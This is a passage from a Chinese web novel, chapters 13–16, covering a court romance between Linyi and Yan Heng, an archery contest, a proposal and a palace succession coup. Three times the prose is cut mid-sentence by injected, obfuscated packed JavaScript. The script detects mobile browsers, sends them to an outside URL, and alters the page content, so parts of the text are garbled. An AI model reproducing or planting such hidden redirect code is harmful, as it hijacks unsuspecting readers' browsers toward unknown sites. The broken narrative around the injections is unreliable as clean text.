“而且马上就要开箭术课了,她总不能样样得意吧!” 她恶意地瞥了眼令颐纤细的手腕。 “就是不知道颜二小姐那柔弱的身姿拉不拉得开弓呢。” 到时候看自己怎么嘲笑她,哼! * 令颐这几日总是心神不宁,每每路过膳房都要下意识地四下张望。 她生怕那人向侍卫军告密,连带着这几日吃饭都不香了。 可一连数日过去,宫中风平浪静,连半点风声都没有。 令颐悬着的心这才稍稍放下。 这日的箭术课设在校场。 射御本是男子修习的课程,女子习箭不过是为了强身健体。 因此,今日的贵女们的兴致都不大,她们撑着绸伞缩在凉荫处,谈论着那些世家公子。 令颐却跃跃欲试。 她自幼体弱,哥哥曾教她拉弓调息,虽不精通,却也勉强说的过去。 芳菲递上汗巾:“姑娘真要试吗?这日头太毒了,仔细别晒伤了肌肤。” 令颐摇摇头,正要搭箭上弦,忽听人群中爆发出一阵惊呼。 “那不是淮容侯世子燕小侯爷吗?” “听说他箭术超群,连陛下都曾称赞过。” 令颐扭过脑袋,顺着众人的视线望去。 一匹通体乌黑的骏马疾驰而来。 马背上的少年玄衣猎猎,手持长弓,手中箭矢破空而去。 “嗖——” 箭矢正中红心,力道之大,震得尾羽颤动不已。 少年倏地勒马翻身而下,动作利落如行云流水。 他的五官俊美非常,带着几分不羁的野性。 令颐蓦然睁大了眼睛,手中弓箭差点掉落在地。 是他! 那日在膳房遇到的登徒子! 他、他竟然就是那个淮容侯世子! 燕珩似乎察觉到了她的视线,目光一转,直直朝她望来。 仿佛狼崽锁定猎物。 令颐心头一跳,做贼心虚般低下头,假装整理箭囊,手上变得很忙。 求你了,不要来找我,不要跟我说话…… 然而,事与愿违。 燕珩慢悠悠地这边走来,所过之处,贵女们纷纷红了脸颊,却又忍不住偷眼瞧他。 香风阵阵,环佩叮当,可无论何人都没能让他驻足片刻。 大家渐渐注意到,燕小世子的方向,似乎是…… 葛娰宁掩唇轻笑,目光意有所指瞥向令颐。 “世子爷该不会是听闻颜二姑娘在此,特意来叙旧的吧?” 此话一出,无数道目光刷刷射向令颐。 怕什么来什么。 燕珩好死不死就在她跟前定住,唇角微勾,眼底闪烁着恶作剧般的光芒。 “颜二姑娘,又见面了。” 完蛋。 令颐内心哀嚎,却不得不勉强维持端庄,福身行礼:“见过世子。” 四周人谁不知道她曾被淮容侯府退亲?这人简直是把她推上风口浪尖! 令颐想找个地缝躲起来。 燕珩似乎还嫌不够,俯身凑近,用只有两人能听见的声音道:“那日不是说要报答我?怎么一见我就想跑?” “谁、谁说我跑了!” 令颐又羞又恼,想要和他拉开距离,对方却寸步不让。 这时,九公主气呼呼冲过来,挡在两人中间。 “燕世子!请自重!” 燕珩抱臂而立。 “公主殿下误会了,先前有幸帮了颜二姑娘一个小忙,在下只是来讨个谢礼。” 令颐深吸一口气,努力让自己的声音听起来平静一些。 “那,世子想要什么谢礼?” 对方笑说:“不如,请颜二小姐与我比一场箭术?” 他的声音不大不小,正好能让所有人听到。 众人一阵哗然。 有贵女捂嘴轻笑:“世子爷可真会开玩笑,颜二姑娘怕是连靶子都射不中呢。” “就是,谁不知道颜家二姑娘身体不好,之前都是足不出户的。” 嘲笑声此起彼伏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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哥哥甚至能做到将前一支箭劈成两半呢。 燕珩眼里划过一抹惊艳之色。 他上前一步,一改桀骜不驯的神情,笑着行礼。 “这局是颜姑娘胜了,在下甘拜下风。” “也、也没有那么好啦……” 令颐害羞捂了捂脸,瞬间从方才的英姿飒爽变回腼腆的小姑娘。 …… 箭术课结束后,众人从校场离开。 令颐看着燕珩远去的背影,咬了咬唇,和芳菲交代了几句,提起裙摆追了上去。 “燕世子,请留步!” 燕珩回头,见令颐气喘吁吁跑过来,额前碎发被汗水打湿,贴在粉嫩的脸颊上。 “二姑娘还有什么事吗?” “我有话想对小侯爷说!” 令颐平缓了下呼吸,坚定看着他。 一字一句道:“我是来找世子赔罪的,世子若是因为我没有嫁给你就生气,是令颐的不是,我向你道歉。” 她规规矩矩行了个礼:“希望世子原谅我,以后还请不要为难我哥哥。” 小姑娘很紧张,声音都带着颤抖。 燕珩愣了半响,忽地笑出声。 “姑娘真是,总能让我意想不到。” 他原以为,她会质问他们为何要退婚,或是质问他们最近为何针对颜家。 没想到竟然是这个。 他生出想逗逗她的想法:“那你说说,为什么没有嫁给我。” 令颐困惑眨了眨眼,不是你退的婚吗? 她想了想,认真答道:“因为我不喜欢你啊。” 燕珩眼皮跳了下,笑容僵在脸上。 面前,小姑娘满脸真诚看着他。 燕珩回过神来,低声自语:“原来是个傻的。” “什么?” “我是说——” 燕珩道:“没想到颜二姑娘如此坦荡,在下佩服。” “不过,我侯府如何对待颜家,这不是我一人说了算的。” 令颐急得眼眶发红:“那、你们要怎样才能放过我哥哥!” “看你的诚意了。” 少年似笑非笑看着她,看的令颐心里一阵发毛。 14. 第 14 章 令颐很快就明白了燕珩说的“诚意”究竟意味着什么。 “今日的牡丹图帮我一块画了吧。记得要用双钩填彩法,李先生最挑剔了。” “还有詹太傅要的六篇经义策还有四篇方略,有劳帮我写了吧。模仿我的笔迹记得模仿得像一点,上次那篇《疏水策》就被太傅认出来了。” 不仅要随叫随到,承包他所有的课业,还要陪他骑马练箭。 甚至有一次,燕珩说自己看书要安静,让令颐上树帮他赶雀。 令颐好几次忍不住找他表达抗议,都被他一句话噎了回去。 “那我们聊聊你哥哥的事?” 一句话就让令颐蔫了下去。 为了哥哥,她只能咬牙屈居他的淫威之下。 这日,她好不容易把两人的课业熬夜做完,揉着酸胀的手腕倒在竹席上,几乎是瞬间就沉入梦乡。 没过一会,她开始做啃肘子的美梦。 眼前肘子炖的又酥烂又黏糊,香喷喷的。 她刚咬下一口,一声嘹亮的鸡鸣在耳边炸开。 “喔喔喔——” 令颐一个激灵从榻上滚落,额头结结实实撞在脚踏上。 “呜……好疼!” 她吃痛捂着脑袋,哭唧唧道:“宫里哪来的鸡啊……” 晴雪急匆匆出门查看,没过一会便怒气冲冲回来,破口大骂。 “简直欺人太甚!燕世子不知从哪弄来只大公鸡,就拴在咱们门前的树下!” “二姑娘的倚梦症这几日好不容易缓和些,他这是要活活逼死您不成!” 又是燕珩。 令颐同样生气了。 很生气那种! “晴雪,更衣!” 半个时辰后,她穿好衣裙和鞋子气势汹汹来到书堂,气呼呼站在燕珩面前。 见着她来,少年唇角勾起玩味的弧度:“哟,今天倒是来得挺早啊?” 令颐一把拍在他案前。 “燕珩!为什么在我院子里养鸡!还抢我的肘子!” “你简直、简直欺负人!” 说到肘子,令颐声音都带上了哭腔。 燕珩挑眉:“谁抢你肘子了?” “就是你抢的!” 令颐气得脸颊绯红:“我梦里明明已经咬到肘子了,结果被你的鸡吵醒了!” “不就一只肘子嘛,要多少我赔你多少。” 燕珩长腿交叠,懒洋洋道。 “小爷我看你这几日总是迟到,好心找了只卯日星君帮你,你应该谢我才是。” 谢你个大头鬼呜呜!都是因为你我才会迟到! 令颐在心里狠狠骂了他八百遍,气得眼眶发红。 “不行,那只鸡你必须弄走!” “成啊,没问题。” 燕珩答应得很爽快。 令颐一愣,狐疑看着他。 怎么突然这么好说话了? 结果当晚,燕珩将她半拖半拽拐进御膳房后院。 “不是要找鸡吗,喏,这儿多的是。” 令颐还没反应过来,就被他一把推到了鸡笼前。 他低声命令:“打开。” 令颐哪里逮过鸡,吓得脸色发白:“我、我不敢!” “不想帮你哥哥了?” 又是这句话! 令颐咬了咬牙,闭着眼把心一横,颤抖着手打开了鸡笼。 “咯咯咯——!” 一笼子的鸡受了惊,扑腾着翅膀飞窜出来,顿时满院都是鸡叫。 令颐吓得惊声尖叫,捂着头像跑,被燕珩一把拽住手腕。 “跑什么,不是你要找鸡的吗?” “燕珩——!!” 她拼命想挣脱,燕珩却根本不让她如愿,俊脸上满是戏谑。 远处陡然传来宫人们的惊呼声:“怎么回事,谁把鸡放出来了!” 燕珩拉着她就往外跑:“愣什么,还不快跑!” 令颐被他拽着,跌跌撞撞穿过回廊。 身后鸡叫声、宫人的喊声混成一片,她又惊又怕。 身旁的少年却笑得肆意张扬,仿佛这一切都让他无比畅快。 握着她纤细手腕的掌心越发滚烫起来。 * 清晨,礼部衙门。 颜彻坐于案前,目光扫过明黄绢帛上的朱批。 一旁的邵玉开口:“大人,若按常规流程,十日后便可推行此令。” 颜彻沉思片刻,道:“定在二十日后吧。” 邵玉迟疑着说:“可下官记得圣旨要求,越快越好。” “稳妥一些,十五日筹备,三日内完成各州府文书递送。” 他将一本名册递给鲁贽。 “这些先前阻挠新政的世家名单,去查查他们的陈年旧账,给他们找些事做。” 鲁贽接过,拱手应道:“是,大人。” 待二人退下后,颜彻从桌旁拿出一封书信。 信纸上的簪花小楷清秀工整,皆是他手把手教的。 “哥哥安好?令颐在宫中一切顺遂。” “九公主待我很好,淮容侯世子虽性情桀骜,但并未为难于我,哥哥不必忧心。” 他低眉浅笑,唇角微不可察弯了弯,随即又归于平静。 窗外蝉鸣渐起。 手边那本《月令》上,七月十八日那页被朱笔圈画着,旁边还画了一枚歪歪扭扭的寿桃。 是小女孩的手笔。 离生辰还有半年她便开始提醒他,生怕他忘记。 * 盛夏,骄阳似火,蛙鸣蝉噪。 令颐有气无力趴在桌上,软嫩的脸颊贴着桌面,挤出一团粉嫩的肉。 燕珩折腾了她数月,简直把她当专属小厮使唤。 芳菲和晴雪见状都心疼不已。 芳菲道:“要不,还是告诉大公子吧?这两个月燕世子日日让您抄书、跑腿,昨日竟还要您上树替他取风筝。” “跟大公子说说,好让大公子给姑娘做主。” 晴雪附和:“是啊,姑娘看着憔悴了这么多,大公子若瞧见了不知该多心疼啊。” 令颐一直保持着和哥哥写信的习惯。 颜彻在信中问过她淮容侯世子一事,她只说对方没有为难她,叫哥哥不要担心。 令颐摇头,声音闷闷的:“不用告诉哥哥啦。” 她不想让哥哥担心。 晴雪见两人情绪都有些低落,连忙换了个话题。 “再过三日就是姑娘的生辰了,听说九公主殿下亲自给您准备了贺礼呢。” “生辰礼?” 令颐抬起脑袋,对了,她都快把自己的生辰忘了。 去年这个时候哥哥还陪在她身边,给她包了一艘画舫,邀请了同文馆的所有人。 宴会结束后,两人边欣赏花灯边吃莲子,然后哥哥带她去西市看杂耍,陪着她一直玩到深夜。 最后她实在玩得尽兴了,就躺在哥哥怀里睡着了。 可今年…… 她咬了咬唇,小声嘟囔道:“还是算了吧,我去跟九殿下说,不必大张旗鼓的。宫里这么多姐妹,别让殿下太难做。” 她不想让九公主为难,更不想因为自己让旁人议论哥哥。 可心里总觉得空落落的。 七月十八日这夜,暑气未消,蝉鸣渐歇。 令颐辞去九公主的宴会邀请,独自一人坐在莲池边的石阶上,抱着膝盖发呆。 水面微波轻荡,清风风吹散几分盛夏的燥意,温柔拂过荷花。 令颐看着波光粼粼的水面,渐渐出神。 “哥哥现在在做什么呢,还有祝师姐他们,不知道有没有想我……” 她低声喃喃,手指把玩脖子间的玉佩。 “咚!” 一枚石子精准地落入她面前的水中,溅起晶莹水花。 “小桃花,发什么呆呢?” 清朗的嗓音带着笑意在身后响起。 令颐吓了一跳,一回头,正对上燕珩那双似笑非笑的眼睛。 月光下,少年身上的墨蓝锦袍被夜风掀起一角,腰间玉带流转着温润光泽,衬得他越发俊美无俦。 她警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792997|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身:“干嘛,又想拉我胡闹什么?” “什么胡闹。” 燕珩轻嗤一声,踏下石阶,朝她伸出手。 “走,陪我去个地方。” “去哪啊?” “那么多话,去了就知道了。” 令颐猝不及防被他拽起身来,踉跄了一下才站稳,气得脸颊都鼓了起来。 “燕珩你!” 她当即想表达不满,却抬眼望见他眉目间的神采,忽然就忘了要说什么。 燕珩的眼角眉梢都飞扬着笑意,张扬、鲜活、意气风发。 “发什么愣,走了!” 夜风拂过耳畔,少年带着她穿过重重宫门,一路登上了皇城最高的宫墙。 城垛上摆着个食盒,里面是她最爱的桂花糖蒸酥酪。 令颐不解:“带我来这儿做什么?还准备酥酪……” 她警惕往后退了一步,指着他:“你、你不会要给我下毒吧。” 燕珩一下子被呛到,连连咳嗽,俊脸都涨红了。 “小爷我是这种人吗!我见这里风景好,带你来看看不成吗?” 燕珩怒气冲冲地答道,目光悄悄打量她的表情。 令颐看着那酥酪,又看向他,心里有些疑惑。 这个人该不会知道今日是她生辰,专门来陪她的吧。 这个离谱的想法刚冒出来就被她摇着脑袋否定了。 在她心里,燕珩是个以捉弄她为乐的讨厌鬼,怎么可能对她这么好? 燕珩枕着手臂躺下。 “多好的月亮,要不是带着你这个小姑娘,我就带一壶酒过来了。” 他嘴上这么说,心里却另有计较。 平日里她总是一副娇憨模样,哪怕被他欺负得掉眼泪,转头就能开心起来,好像世间于她而言没有什么悲伤事。 方才在莲池边,他看见她一个人孤零零蜷缩在水边,像一只被遗弃的小猫,他心里突然就有些……不爽。 今日,他莫名想对她好一点。 令颐却怔了一瞬。 “小姑娘……” 小姑娘,哥哥总这么唤她,带着无尽的温柔。 眼前这个讨厌鬼突然用同样的称呼,让她鼻头一酸。 “砰!” 骤然一声巨响,打断了她的神思。 夜幕被一道金光撕裂,霎时万千流火腾空而起,在天际炸开绚烂花火。 金红、碧蓝、银白……漫天烟火如星河倾泻,照亮了整个皇城。 璀璨的光芒,美得惊心动魄。 令颐瞪大了眼睛,一时忘了呼吸。 远处,宫人们聚在一起谈论着这场突如其来的烟花。 “京城是不许放烟火吗?” “今日新政推行,全城解除宵禁,皇上特许燃放烟花。” 宫墙外,颜府屋檐下。 一盏兔子灯晕开一小团光晕,映在年轻郎君俊美的脸上。 男子一袭月白长袍,侧脸如玉,长睫在光影中投下淡淡阴影。 赵福忠上前道:“大人,锦衣卫已将宁家人尽数捉拿。” “宁家上下五十六人口全部下狱,有几个不安分的,锦衣卫依律就地正法。” “宁家那最小的郎君,性子烈不肯就范,已经……血溅当场。” 颜彻垂眸不语。 良久,他缓缓开口:“听说宁家世代武将,连院子里种的都是虞美人。” “可惜了。” 尾音轻飘飘散在风里,辨不清在惋惜什么。 他抬眸,望向被点亮的夜空。 “她们真美,不是么?” 年轻郎君低声轻语,温柔得如同情话。 赵福忠道:“二姑娘一定会喜欢的。” 远处更高的城墙上,燕珩悄悄侧目,看着身旁小姑娘被烟火照亮的脸庞。 杏眸浸着星光,比天上的烟火还要耀眼。 少年不自觉地勾起唇角,轻咳一声,将那句“生辰快乐”咽了回去。 转而递给她一块酥酪。 “发什么呆,再不吃就凉了。” 15. 第 15 章 宫中的日子如流水般过去,转眼已是深冬。 刚下过一场大雪,红墙黛瓦覆着厚厚的积雪,透着冷峭的光芒。 令颐托腮坐在暖阁窗前,呵出的白气在窗棂上凝成薄霜。 自从上次生辰宴后,燕珩对她的态度似乎发生了一些变化。 先前她总是把课业扔到她面前便扬长而去,现在不光要监督她写完,还要她帮忙补课。 偏生这位燕世子出身侯门,四书五经本就不擅长,考试前每每捧着书来请教令颐。 可怜令颐这么一个乖巧的小姑娘,生生被他气得小脸通红。 “这怎么还不明白啊,诶呀,你自己悟一悟嘛!” 她向来是被颜彻手把手教惯了的,哪曾教过别人,耐心都被他磨没了。 可燕珩不知是真傻还是故意装傻,非要她将那些文章翻来覆去解释三遍。 见她气得腮帮微鼓的模样,他还背过身去偷笑。 气得令颐想拿书卷砸他。 这一切都被芳菲和晴雪看在眼里。 令颐或许懵懂不知,但她们这些旁观者却看得真切。 那位燕世子如今隔三差五就往这里跑,恨不得日日黏在姑娘身边。 有时令颐专心看书不愿搭理他,他便变着法子引她注意。 或是在她门口放纸鸢,或是在庭院里堆雪人,总要逗得她出来小憩片刻才甘心。 最明显的是他看令颐的眼神。 那目光中,分明藏着说不清道不明的情愫。 她们委婉提醒令颐:“姑娘,毕竟男女有别,姑娘和燕世子走得这般近,怕是会落什么闲话。” 令颐蹙着秀眉:“可我若惹了他,他们又该针对哥哥了。” 说着,她拉住她们的手,软声道:“我知道你们是为我好,放心,我会保护好自己的,不会让那个讨厌鬼欺负我。” 芳菲和晴雪对视,苦笑一声。 姑娘还是不明白。 * 除夕这夜,整座皇宫灯火如昼。 皇上特许世家子弟们参加宫宴,很多人是第一次见识皇宫宴会,对着金碧辉煌的殿堂惊叹不已。 令颐却托着粉腮,望着琉璃盏中的葡萄酿发呆。 九公主见她神情恹恹,问她:“姐姐怎么了,可是饭菜不合胃口?” 令颐摇头:“怎么会呢,御膳房的东西平常人想吃都吃不到呢。” 她垂下眼睫,声音渐渐低了下去。 “就是……” 就是,又不能和哥哥一起过年了。 她原本盘算着过年时终于能见到哥哥,谁知皇上和太后突发兴致,要留他们在宫中守岁。 她想哭,又不能在这里哭,呜呜…… 好想哥哥,连面前那些菜肴都不香了。 正暗自伤神时,忽然有人轻扯她的披帛。 “小桃花,要不要出去透透气?” 燕珩不知何时来到她身后,发间有些潮湿,像是沾了雪。 “冷香园的梅花开的真好,跟我去看看啊?” 令颐想着散散心也不错,于是就答应了。 此时皇宫里的人大半都在正殿欢宴,御花园里静谧非常,只有积雪在脚下发出轻微的咯吱声。 冷香园内暗香浮动,红梅白雪相映成趣。 令颐伸手接住落花,忽觉身上一暖。 燕珩的狐裘大氅不知何时已落在她身上,裹住她单薄的肩,带着少年炙热的体温。 “嗯……谢谢……” 令颐低声道谢,有些懵懵的。 “令颐。” 燕珩忽然唤她的名字。 令颐疑惑抬头。 他很少这般喊她,素日里一般都是“喂”或者“小桃花”,这般郑重其事唤她闺名还是头一遭。 少年目光灼灼地望着她。 “你要不要重新嫁给我?” 寒风渐渐停息,梅香凝滞在空气中。 令颐呆怔在了原地。 “你、你说什么?” “你本来就是我的未婚妻,我燕珩一向专一,这辈子只认你一个人。” 燕珩帮她拢了拢披风,在手掌上呵了呵热气,拢住她冰凉的手。 “我虽还未建功立业,但你若嫁给我,我必好好待你,不让你受半分委屈。” “当年父亲退婚时我只有十岁,此事父亲并未与我商量,我根本不知道此事。” 他笑道:“若当时早知道是你,我定全力阻挠。” 燕珩当时只是知道父亲给他退了一桩婚事,说是姜家的罪臣之女,配不上他们侯府。 听说入宫名单里有她,他原也是一时好奇才接近。 如今见到令颐真容,他才知道自己错过的是是怎样的珍宝。 莫说令颐是罪臣之女,就算她是乞丐之女,恶霸之女,他也要娶她。 令颐此时大脑一片空白。 少年的话音混着白雾,烫在她耳畔。 她甩开他的手:“这是大事,我,我需要好好想想!” “给、给我一点时间。” 燕珩也不挠,牵起她的手,眼眸明亮。 “好,我等你。” *** 除夕夜的歌舞升平并未掩盖京城的波诡云谲。 皇上骤然卧病,太医院轮番诊治,却都束手无策。 这病来得蹊跷,无论什么珍贵药材都无半点起色。 太后当机立断,命所有世家子弟除夕夜不得离宫。 表面上是为圣上冲喜,实则暗藏深意。 明眼人都看得出来,这是要拿他们当人质,牵制各大世家。 挹青堂内,邵玉和鲁贽向颜彻汇报朝臣们的情况。 “朝堂上立储言论愈演愈烈,一半站大皇子一半站三皇子。” “郑康安这老贼,故意让门下走狗推举大皇子,引得皇上猜疑,倒真是阴险至极。” 鲁贽冷哼一声:“他这是坐不住了。” 邵玉道:“一朝天子一朝臣,皇上向来厌恶阉党,郑康安自知新君登基后必遭清算,自然要早些布局。” 他转向颜彻:“宫中传来消息,建兴帝的病情,比所有人预想的都要危急。不知大人有何打算?” 颜彻倚在靠背上,指尖轻叩桌面。 良久,他缓缓道:“倒是比我想象的快一些。” 不过,也无妨。 “无论他们如何相争,这段时日切莫轻举妄动。” “谁坐不住,谁先去蹚浑水。” “是,大人。” 颜彻仰躺在靠背上,阖上双眼。 快了。 这场棋局,马上就要见分晓了。 此时的深宫里,世家子弟们还沉浸在新年的喜庆中,浑然不觉前朝的风云变幻。 尤其是令颐,一连数日魂不守舍,用膳时筷子夹着菜却迟迟不送入口,惹得九公主笑话了她好久。 这日,芳菲和晴雪匆匆赶来,脸上掩不住喜色。 “姑娘姑娘!天大的好消息!” 晴雪很是兴奋:“前朝刚传来消息,大公子被破格提拔为吏部左侍郎兼东阁大学士了!” 芳菲也难掩喜色:“大公子才二十多岁就位居要职,这可是本朝头一遭呢!” “以大公子的才干,早该入内阁了!若不是先前世家大族阻拦,说什么寒门出身不堪大用,大公子何至于耽误到现在?” 说罢,她突然意识到失言,连忙噤声。 她们的无心之言让令颐陷入了沉思。 她想起前些日子在御花园听到的话。 那时,葛姒宁正打趣一个年轻贵女。 “你日日往五皇子那边跑,莫不是相中了哪位世家公子?” 那贵女毫不避讳:“这有什么?嫁入世家大族能给父兄带来助力,自然要上心些。” 说着还意味深长地瞥了令颐一眼。 “特别是那些寒门出身的,更该寻个显赫姻亲才是。” 令颐忽然抬头,眼中闪过一丝决然。 “是不是,如果我嫁得好,哥哥就更有依靠了?” 芳菲和晴雪对视一眼,顿时明白了她的心思。 芳菲斟酌着答道:“姑娘若是能嫁得良人,自然能在仕途上帮助大公子。” “只是,大公子一向心疼姑娘,若姑娘为了大公子嫁与不喜欢的人,大公子只怕是不愿的。” 令颐噘了噘嘴,迷茫望向窗外。 “可是,什么叫喜欢啊……” 祝师姐也说过,希望她嫁给一个她喜欢的人。 她说自己喜欢哥哥,喜欢师姐和师兄,祝颂然却笑着摇头。 “令颐,你不能嫁给你哥哥,也不能嫁给我或者师兄。” 不能嫁给哥哥,也不能嫁给祝师姐和羡文师兄。 那为什么说要嫁给自己喜欢的人呢?岂不是嫁给谁都一样。 她下定决心站起身。 “我要去见燕珩。” 凉亭内,燕珩正在赏梅。 听见脚步声,他转过身。 少女提着裙摆小跑过来,脸颊被寒风吹得通红。 他连忙解下自己的狐裘披在她身上。 “这么冷的天,怎么穿这么少就跑出来了?” “我可不想娶一个病恹恹的美人。” 令颐看着自己身上的狐裘,抬起小脸,对上少年的目光。 两人的距离太近,近到令颐本能地感到不安,像是要被那眼神烫到。 她眸子闪过些许不自然之色,抬手遮住他的眼。 “干嘛这样看我。” “怎么,长得这么好看不让看啊?” 燕珩笑得坏极了,故意凑近了些。 令颐小脸一红,往后退了半步。 “我、我是来找你说正经事的!” 她深吸一口气,鼓起勇气直视燕珩的眼睛。 “若我嫁给你,你能帮助我哥哥吗?” 少年嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803972|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意僵了一瞬,却又很快扬起灿烂笑容。 “这是什么话,你若嫁给我,你哥哥就是我哥哥,你们都是我燕家人。” 他神色少有地认真起来。 “我燕家虽不是顶级世家,但在朝中也有些根基。更何况,你哥哥那样的能臣,我们自然会倾尽全力相助。” 令颐眨了眨眼,似懂非懂。 燕珩见她一副呆呆的样子,伸出手指轻轻弹了下她的额头。 “啊呀……” 令颐捂着额头嗔了他一眼:“干嘛弹我?” “因为你傻。” 燕珩抱臂道:“你要是为了这个才想嫁给我,我可不同意。” “那要为了什么?” 燕珩忽然俯身,在她脸上轻轻一吻。 气息热乎乎拂过她脸颊,像一片羽毛。 却只停留一瞬,便迅速撤离。 “我要这个。” 令颐摸着脸,神色茫然。 “你为什么要亲我?” “夫妻自然要亲。” 燕珩理直气壮地说,耳根却悄悄染上薄红。 想到自己马上要娶一个美若天仙的小娘子,他一阵口干舌燥,情不自禁就想亲她。 令颐歪着脑袋:“和我亲哥哥有什么不一样吗?” “当然不一样!而且你以后不能亲你哥哥了,只能亲我。” 令颐“喔”了一声。 她想着,成亲真不好,她都不能亲哥哥了。 * 一晃又过了一月。 除夕的喜庆还未散尽,宫墙内外仍覆着一层薄雪。 南三宫内炭火正旺,众人正在学堂上课,忽见外面一阵骚动。 令颐正执笔习字,忽闻宫道上一阵甲胄碰撞之声。 她惊得手腕一颤,最后一捺生生拖得颤抖。 “怎么回事?” “怎么多了这么多禁军?” 几位世家小姐慌乱聚到窗前,就连平日里最端庄的葛娰宁也失了方寸。 只见数个披甲执戟的禁军列队而过,玄色铠甲在雪地里格外刺目。 令颐同样有些害怕,却见管事嬷嬷推门而入。 “接太后懿旨,请诸位郎君和姑娘暂留此处,不得擅自离开。” 她微笑着安抚众人:“这几日宫中戒严,不会涉及各位,请不要过于担心。” 虽然管事嬷嬷这么说,但还是有几个敏锐的世家子弟却嗅到了不一样的意味。 “宫中不会无缘无故戒严的,更何况还出动了禁军。” “莫非,宫里出了什么大事?” 令颐心头一跳,不知为何,她想起浔之哥哥。 “哥哥……” 她手不自觉摸向脖子里的玉佩,心里满是担忧。 宫中的确出了大事。 昨夜子时,建兴帝于寝宫骤然驾崩。 事发突然,宫内宫外顿时大乱。 各宫嫔妃惊慌失措,朝臣们连夜递折子求见,却都被拦在宫门之外。 当夜,郑康安步入太后的慈宁宫。 宫中一片素白,连檐下的宫灯都蒙上了白纱,在寒风中戚戚摇曳。 太后身着素服,独自跪在佛前,手中佛珠缓缓转动。 “太后娘娘果然是见过大世面的人,这么快就稳定了各宫。” 郑康安的声音划破满殿沉寂,刺耳而尖锐。 太后并未抬眼,攥着佛珠的手指一点点收紧。 她声音沙哑:“郑康安,皇上的死,是不是你做的?” “你知皇上爱求仙问道,便买通了那些方士。” 郑康安呵笑一声,袖袍轻拂,缓步上前。 高大的阴影一点点将她笼罩。 “太后娘娘这是何必呢?无论谁登基,您都是尊贵的太皇太后,荣华富贵分毫不减。” “您可别忘了,当年若非咱家,您儿子可坐不上那把龙椅。如今,咱家照样能让您安安稳稳当这个太皇太后。” “放肆!” 太后拍案而起,佛珠砸落在地,滚散一片。 “郑康安,你简直是疯子!你知不知道你在做什么!” 郑康安笑意渐敛,眸中寒光闪烁。 “疯?什么是疯?成王败寇,不择手段,自古以来的道理。” “文鸢,当年你为了权力舍弃我,如今,你还是会做出和当时同样的选择,不是吗。” 说罢,他冷哼一声,甩袖而去。 太后凝视着他离去的背影,心中绝望如深渊。 此人已丧心病狂,再无回头之路。 她缓缓转身,从佛龛后的暗格中取出一封密信和一柄虎符。 “严嬷嬷,你来。” 她将这两样东西交予心腹嬷嬷。 “不惜一切代价,将此物交予杨首辅和颜大人。” 严嬷嬷双手接过,眼中含泪。 “娘娘放心,老奴就是拼了这条老命也要送到两位大人手上!” 16. 第 16 章 第五日寅时,天光未破,郑康安手持遗诏立于金銮殿上。 同样的场景,当年,他也是这样,迎接年轻的建兴帝即位。 “先皇遗诏在此,恭请三殿下即位!” 三皇子党羽登时山呼海啸般跪拜。 “臣等恭迎新君!万岁!万岁!万万岁!” 话音在偌大的宫殿回响,殿门于此时轰然洞开。 大皇子萧祈元铁甲裹身,率兵而来,怒目而视。 “好一个狗奴才,父皇尸骨未寒,你便敢矫诏篡位!” “父皇前几日还召本王商议边关军务,说要将皇位传与本王,怎会突然传位老三?” 他一声令下,亲兵潮水般涌入宫门。 郑康安大喝:“萧祈元,你敢造反!” “禁军、禁军何在!” 刀光剑影间,禁军与大皇子亲兵厮杀作一团。 三皇子何曾见过这种场面,早已吓得魂飞魄散。 霎时,眼前一道寒光劈面而来。 他瞪大的眼睛里,最后映着的是兄长那张和他极为相似的面容。 “咚!” 三皇子的头颅骨碌碌滚落玉阶,在郑康安脚边停住。 郑康安轰然瘫软在地,那把染血的剑尖却已抵住他喉。 “阉狗,你主子已经先走一步了!” 郑康安嘴咬出了血:“萧祈元!你逼宫造反弑杀兄弟,必遭天谴!你——” 就在这时,宫门外传来整齐的马蹄声。 赤羽军将士策马而入,瞬间将混战双方团团围住。 灯火染着血色,照亮整个皇宫。 “秦放!” 大皇子目眦欲裂:“你身为将领不在边疆驻守,擅自返京,居心何在!” 怒吼声在宫殿回响。 秦放将军面不改色,将高居首位的三皇子视若无物。 “陛下有难,臣自当护驾。” 他高声道:“三皇子勾结阉党毒杀陛下,犯上谋逆!大皇子入宫护驾,不幸被逆贼所害!” 短短几句话,宣告了两个皇子的结局。 “你、你敢!” 大皇子忽然明白过来,自己方才入宫时为何一路畅通无阻。 “原来如此,你们是故意放我入宫!” 他环顾四周,却见赤羽军弓弩已尽数拉开。 “好啊,好一招螳螂捕蝉!” “大殿下现在才明白,太迟了。” 秦放抬手,箭雨朝叛军飞驰而去。 半个时辰后,最后一具尸体倒下时,文官队列踏着血泊而来。 为首之人眉眼淡淡,寒潭般幽深的眸底,仿佛飘荡着山巅雾气。 飞舞的雪花惊起他身后寒鸦,男子身上鹤白衣袍随风摇曳,在满地鲜血中格外显眼。 白鹤氅掠过丹墀时,数十宫人正用浸了香露的绸布擦拭血渍。 所踏之处,玉净如新。 “臣等,恭迎陛下。” 颜彻朝身后伸手,扶住身后的小皇子。 年近十一岁的七皇子就这样被搀扶着走向龙椅,登上九五之尊的宝座。 